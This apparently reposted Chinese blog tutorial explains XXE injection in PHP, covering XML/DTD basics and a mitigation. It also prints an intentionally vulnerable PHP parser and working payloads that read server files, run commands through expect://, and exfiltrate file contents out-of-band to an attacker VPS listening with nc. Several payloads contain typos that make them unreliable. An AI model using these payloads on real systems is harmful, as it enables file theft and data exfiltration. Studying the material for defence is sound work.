第十八天xxe 外部实体

简单来说,XXE(XML External Entity Injection)就是XML外部实体注入。
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

一、xml基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明:
1
外部声明(引用外部DTD):
1
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部实体声明:<!ENTITY 实体名称 "实体的值">
1
外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
1

二、漏洞原理

XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的xml文件时未对xml文件引用的外部实体做合适的处理,并且实体的URL支持file://和php://等协议,攻击者可以在xml文件中声明URI指向服务器本地的实体造成攻击。

三、攻击方式
xml外部实体注入,需要引入外部实体,方式有很多种。此处我们使用vuln漏洞环境中的php_xxe进行演示:
运行环境:
php 7.0.30
libxml 2.8.0
1、读取任意文件
(1)使用file协议

<?php
// 漏洞代码
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///tc/passwd">]>
<root>
<name>&xxe;</name>
</root>

运行SimpleXmlElement.php(在该php中,使用SimpleXmlElement类解析body)
使用burp拦截进行注入,响应如下:
在这里插入图片描述

(2)使用php协议
payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

运行SimpleXmlElement.php,使用burp拦截进行注入,获取index.php页面内容的base64编码。响应如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、执行系统命令
在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>

在此环境中没有安装expect扩展,我们就不演示这个了。

在xxe存在一个无回先漏洞时 此时该如何利用?

在这里插入图片描述
构造一个请求包发送给服务器
1.该请求包命令server去读取特定
文件的内容
2.让服务器将读取的内容转发给
监听的vps(kali linux)
3服务器做了2件事情:
第一件事情是读取特定文件的内容
第二件事情将读取到的内容转发到vps(kali

xxe无回显利用概念
在这里插入图片描述
第一步
vps监听特定端口
在这里插入图片描述
第二步
转发问题
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
将fle变量的值转发到kali linux(vps)对应192.168.4.130下的
监听的1234,该端口刚刚由nc-vp12335监听

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
xxe 无回显如何利用重中之重

payoal:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
 <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=C:/phpStudy/WWW/yui/bihuo.txt"> ]>
<creds>&goodies;</creds>

 <?xml version="1.0"?>
<!DOCTYPE ANY [
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://www.localhost.com/haha/xxe.dtd">
%dtd;
%send;
]>

参考文章 原文链接:https://blog.csdn.net/m0_37711941/article/details/88388097

猜你喜欢

转载自blog.csdn.net/qq_42096378/article/details/123724368